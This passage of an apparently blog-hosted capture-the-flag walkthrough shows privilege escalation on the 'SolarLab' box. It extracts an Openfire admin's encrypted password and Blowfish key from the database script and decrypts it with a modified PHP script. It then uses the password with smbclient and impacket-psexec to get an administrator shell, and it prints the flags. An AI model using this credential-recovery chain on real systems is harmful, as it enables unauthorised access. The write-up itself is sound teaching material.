This is the scrip that initializes the in-memory database when the program launches
CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))

This is the script line that creates the OFUSER table

The OFUSER table is created with 12 columns:

  • USERNAME
  • STOREDKEY
  • SERVERKEY
  • SALT
  • ITERATIONS
  • PLAINPASSWORD
  • ENCRYPTEDPASSWORD
  • NAME
  • EMAIL
  • CREATIONDATE
  • MODIFICATIONDATE
  • CONSTRAINT

The most interesting column here is PLAINPASSWORD, which is the sixth column.

INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')

This is the INSERT statement that adds the admin user

Here, we can see the sixth column is NULL. However, we still have the user's encrypted password in column seven — becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442. Let's do some more research on how we might crack this.



Cracking the Administrator's Hash

GitHub - shakaw/openfire-password-decrypt
Contribute to shakaw/openfire-password-decrypt development by creating an account on GitHub.

A Google search for openfire password decrypt returns this result

ℹ️
We'll need to make sure the password is using blowfish encryption for this to work. This can be found at C:\Program Files\openfire\conf\security.xml
Indeed, it is
where $enc_password - encrypted password from table [ofUser] column [encryptedPassword], $blowfish_key - blowfish key table [ofProperty] column [propValue] where [name]='passwordKey'

We also need the passwordKey string from the database, which should be simple enough.

hGXiFzsKaAeYLjn

Modifying the Exploit

     1  <?php

On the first line add opening PHP tag

    16
    17  $result = decrypt_openfirepass("becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442", "hGXiFzsKaAeYLjn");
    18  echo "$result\n";
    19  ?>

Add lines 16-19

We get an error that the mcrypt module can't be found
sudo apt install -y php-mcrypt

Install the php-mcrypt module

Nice! 🎉



Escalate to Administrator

smbclient -U 'Administrator%ThisPasswordShouldDo!@' //solarlab.htb/C$

Connect to the privileged C$ share as Administrator

smb: \> more Users\Administrator\Desktop\root.txt

Read the file over SMB

impacket-psexec 'Administrator:ThisPasswordShouldDo!@'@solarlab.htb

Or, simply use Impacket's psexec script to get a shell on the target



Flags

User

cdd58d6118f4523f2ffd145e54875780    

Root

3b0960ad0eed7f91650c5a73e74eb828    
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.